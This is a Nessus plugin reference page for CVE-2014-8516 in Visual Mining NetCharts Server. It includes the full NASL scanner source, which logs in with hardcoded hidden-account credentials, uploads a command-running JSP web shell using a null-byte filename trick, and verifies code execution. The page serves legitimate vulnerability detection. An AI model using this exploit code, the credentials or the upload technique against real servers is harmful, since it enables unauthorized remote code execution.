Visual Mining NetCharts Server Arbitrary File Upload - Nessus

High   Plugin ID: 80083

This page contains detailed information about the Visual Mining NetCharts Server Arbitrary File Upload Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 80083
Name: Visual Mining NetCharts Server Arbitrary File Upload
Filename: visual_mining_netcharts_server_file_upload.nasl
Vulnerability Published: 2014-11-03
This Plugin Published: 2014-12-17
Last Modification Time: 2021-01-19
Plugin Version: 1.11
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: os_fingerprint.nasl, visual_mining_netcharts_server_web_detect.nbin
Required KB Items [?]: installed_sw/Visual Mining NetCharts Server
Excluded KB Items: global_settings/supplied_logins_only

Vulnerability Information


Severity: High
Vulnerability Published: 2014-11-03
Patch Published: N/A
CVE [?]: CVE-2014-8516
CPE [?]: cpe:/a:visual_mining:netcharts_server

Synopsis

The remote web server contains a JSP script that allows arbitrary file uploads.

Description

The Visual Mining NetCharts Server web interface installed on the remote web server is affected by a file upload vulnerability due to a built-in hidden account. An unauthenticated, remote attacker can exploit this issue to upload files with arbitrary code and then execute them on the remote host.

Solution

Restrict access to the vulnerable server.

Public Exploits


Target Network Port(s): 8001
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, D2 Elliot)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the Visual Mining NetCharts Server Arbitrary File Upload vulnerability:

  1. Metasploit: exploit/multi/http/visual_mining_netcharts_upload
    [Visual Mining NetCharts Server Remote Code Execution]
  2. Exploit-DB: exploits/java/remote/35211.rb
    [EDB-35211: Visual Mining NetCharts Server - Remote Code Execution (Metasploit)]
  3. D2 Elliot: visual_mining_netcharts_server_7.0_file_upload.html
    [Visual Mining NetCharts Server 7.0 File Upload]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:8.3 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.3 (High)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:8.2 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.2 (High)

Go back to menu.

Plugin Source


This is the visual_mining_netcharts_server_file_upload.nasl nessus plugin source code. This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(80083);
  script_version("1.11");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2014-8516");
  script_bugtraq_id(70895);

  script_name(english:"Visual Mining NetCharts Server Arbitrary File Upload");
  script_summary(english:"Attempts to upload a file to execute arbitrary code.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a JSP script that allows arbitrary file
uploads.");
  script_set_attribute(attribute:"description", value:
"The Visual Mining NetCharts Server web interface installed on the
remote web server is affected by a file upload vulnerability due to a
built-in hidden account. An unauthenticated, remote attacker can
exploit this issue to upload files with arbitrary code and then
execute them on the remote host.");
  script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-14-372/");
  script_set_attribute(attribute:"solution", value:
"Restrict access to the vulnerable server.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Visual Mining NetCharts Server 7.0 File Upload");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Visual Mining NetCharts Server Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/11/03");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/12/17");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:visual_mining:netcharts_server");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("visual_mining_netcharts_server_web_detect.nbin", "os_fingerprint.nasl");
  script_require_keys("installed_sw/Visual Mining NetCharts Server");
  script_exclude_keys("global_settings/supplied_logins_only");
  script_require_ports("Services/www", 8001);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

app = "Visual Mining NetCharts Server";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:8001);

install = get_single_install(app_name:app, port:port);
install_dir = install["path"];

creds = make_array("Admin", "Admin", "Scheduler", "!@#$scheduler$#@!");

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig /all';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig /all'] = "Subnet Mask";
line_limit = 2;

vuln = FALSE;

foreach cmd (cmds)
{
  if (cmd == 'id')
    dir_cmd = 'pwd';
  else
    dir_cmd = 'cmd /c dir .';

  jsp_content = '<%@ page import="java.io.*" %>
<%
Process p = Runtime.getRuntime().exec("'+cmd+'");
Process p2 = Runtime.getRuntime().exec("'+dir_cmd+'");
String output= "";
String temp = null;
InputStreamReader reader = new InputStreamReader(p.getInputStream());
BufferedReader stdin = new BufferedReader(reader);

while ((temp = stdin.readLine()) != null)
{
  output += temp;
  if (temp.length() > 0) {output += "\\n";}
}

output += "\\n";
temp = null;
reader = new InputStreamReader(p2.getInputStream());
stdin = new BufferedReader(reader);

while ((temp = stdin.readLine()) != null)
{
  output += temp;
  if (temp.length() > 0) {output += "\\n";}
}
%><%= output %>';

  foreach user (keys(creds))
  {
    pass = creds[user];

    clear_cookiejar();

    jsp_file_name = "nessus_" + rand() + ".jsp";
    bound = "_bound_nessus_" + rand();

    post_data =
      '--' + bound + '\r\n' +
      'Content-Disposition: form-data; name="FILE1"; filename="' + jsp_file_name + '\x00nessusArchive0301140000.zip"\r\n' +
      'Content-Type: application/octet-stream\r\n' +
      '\r\n' +
      jsp_content + '\r\n' +
      '--' + bound + '--';

    path = install_dir + "Admin/archive/upload.jsp?mode=getZip";

    # Attempt upload
    res2 = http_send_recv3(
      method    : "GET",
      item      : path,
      data      : post_data,
      username  : user,
      password  : pass,
      add_headers:
        make_array("Content-Type",
                   "multipart/form-data; boundary=" + bound),
      port         : port,
      exit_on_fail : TRUE
    );
    exp_request = http_last_sent_request();

    # if our creds don't work for the upload, skip attempting to verify
    if ("401" >< res2[0])
      continue;

    # Try accessing the file we created
    upload_loc = install_dir + "Admin/archive/ArchiveCache/";
    verify_path = upload_loc + jsp_file_name;
    res2 = http_send_recv3(
      method       : "GET",
      item         : verify_path,
      port         : port,
      username     : user,
      password     : pass,
      exit_on_fail : TRUE
    );
    output = res2[2];

    if (output =~ cmd_pats[cmd])
    {
      vuln = TRUE;

      get_up_path = "";
      # Extract path for reporting
      if (cmd == 'id')
      {
        line_limit = 2;
        get_path = strstr(output, "/");
        get_up_path = chomp(get_path) + "/webapps/Admin/archive/ArchiveCache/";
      }
      else
      {
        line_limit = 10;
        get_path = strstr(output, "Volume in drive");
        get_dir = egrep(pattern:" Directory of (.+)", string:get_path);
        if(get_dir != "")
           get_up_path = chomp((get_dir - " Directory of ")) + '\\webapps\\Admin\\archive\\ArchiveCache\\';
      }
      break;
    }
  }
  if (vuln) break;
}

full_url = build_url(port:port, qs:path);
if (!vuln)
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app, full_url);

verify_url = build_url(port:port, qs:verify_path);

security_report_v4(
  port        : port,
  severity    : SECURITY_HOLE,
  cmd         : cmd,
  line_limit  : line_limit,
  request     : make_list(full_url, verify_url),
  output      : chomp(output),
  rep_extra   : '\n' + 'Note: This file has not been removed by Nessus and will need to be' +
                '\n' + 'manually deleted (' + get_up_path + jsp_file_name + ').'
);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/visual_mining_netcharts_server_file_upload.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\visual_mining_netcharts_server_file_upload.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/visual_mining_netcharts_server_file_upload.nasl

Go back to menu.

How to Run


Here is how to run the Visual Mining NetCharts Server Arbitrary File Upload as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Visual Mining NetCharts Server Arbitrary File Upload plugin ID 80083.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl visual_mining_netcharts_server_file_upload.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a visual_mining_netcharts_server_file_upload.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - visual_mining_netcharts_server_file_upload.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state visual_mining_netcharts_server_file_upload.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 159887 - Security Update for Visual Studio 2019 (April 2022) (macOS)
  • 157434 - Security Update for Visual Studio 2019 (February 2022) (macOS)
  • 156101 - Security Update for Microsoft Visual Studio Code (December 2021)
  • 147724 - Security Update for Microsoft Visual Studio Code ESLint Extension (March 2021)
  • 138523 - Security Update for Microsoft Visual Studio Code ESLint Extension (July 2020)
  • 146417 - Security Update for Microsoft Visual Studio Code npm-script Extension (Feb 2021)
  • 149384 - Security Update for Microsoft Visual Studio Code Remote Containers Extension (May 2021)
  • 156113 - Security Update for Microsoft Visual Studio Code Remote WSL Extension (December 2021)
  • 23836 - MS06-073: Vulnerability in Visual Studio 2005 Could Allow Remote Code Execution (925674)
  • 26022 - MS07-052: Vulnerability in Crystal Reports for Visual Studio Could Allow Remote Code Execution (941522)
  • 35069 - MS08-070: Vulnerabilities in Visual Basic 6.0 ActiveX Controls Could Allow Remote Code Execution (932349)
  • 109029 - Security Updates for Microsoft Visual Studio Products (April 2018)
  • 111973 - Security Updates for Microsoft Visual Studio Products (Aug 2018)
  • 111042 - Security Updates for Microsoft Visual Studio Products (July 2018)
  • 127855 - Security Updates for Microsoft Visual Studio Products (August 2019)
  • 131939 - Security Updates for Microsoft Visual Studio Products (December 2019)
  • 131318 - Security Update for Microsoft Visual Studio Code (CVE-2019-1414)
  • 128708 - Security Updates for Microsoft Visual Studio Products (September 2019)
  • 138473 - Security Updates for Microsoft Visual Studio Products (July 2020)
  • 141931 - Security Update for Microsoft Visual Studio Code (CVE-2020-17023)
  • 148552 - Security Updates for Microsoft Visual Studio Products (April 2021)
  • 144977 - Security Updates for Microsoft Visual Studio Products (January 2021)
  • 147749 - Security Updates for Microsoft Visual Studio Products (March 2021)
  • 155018 - Security Updates for Microsoft Visual Studio Products (November 2021)
  • 154051 - Security Updates for Microsoft Visual Studio Products (October 2021)
  • 157841 - Security Updates for Microsoft Visual Studio Products (February 2022)
  • 158715 - Security Updates for Microsoft Visual Studio Products (March 2022)
  • 80333 - Microsoft Visual Studio .gitconfig Command Execution

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file visual_mining_netcharts_server_file_upload.nasl version 1.11. For more plugins, visit the Nessus Plugin Library.

Go back to menu.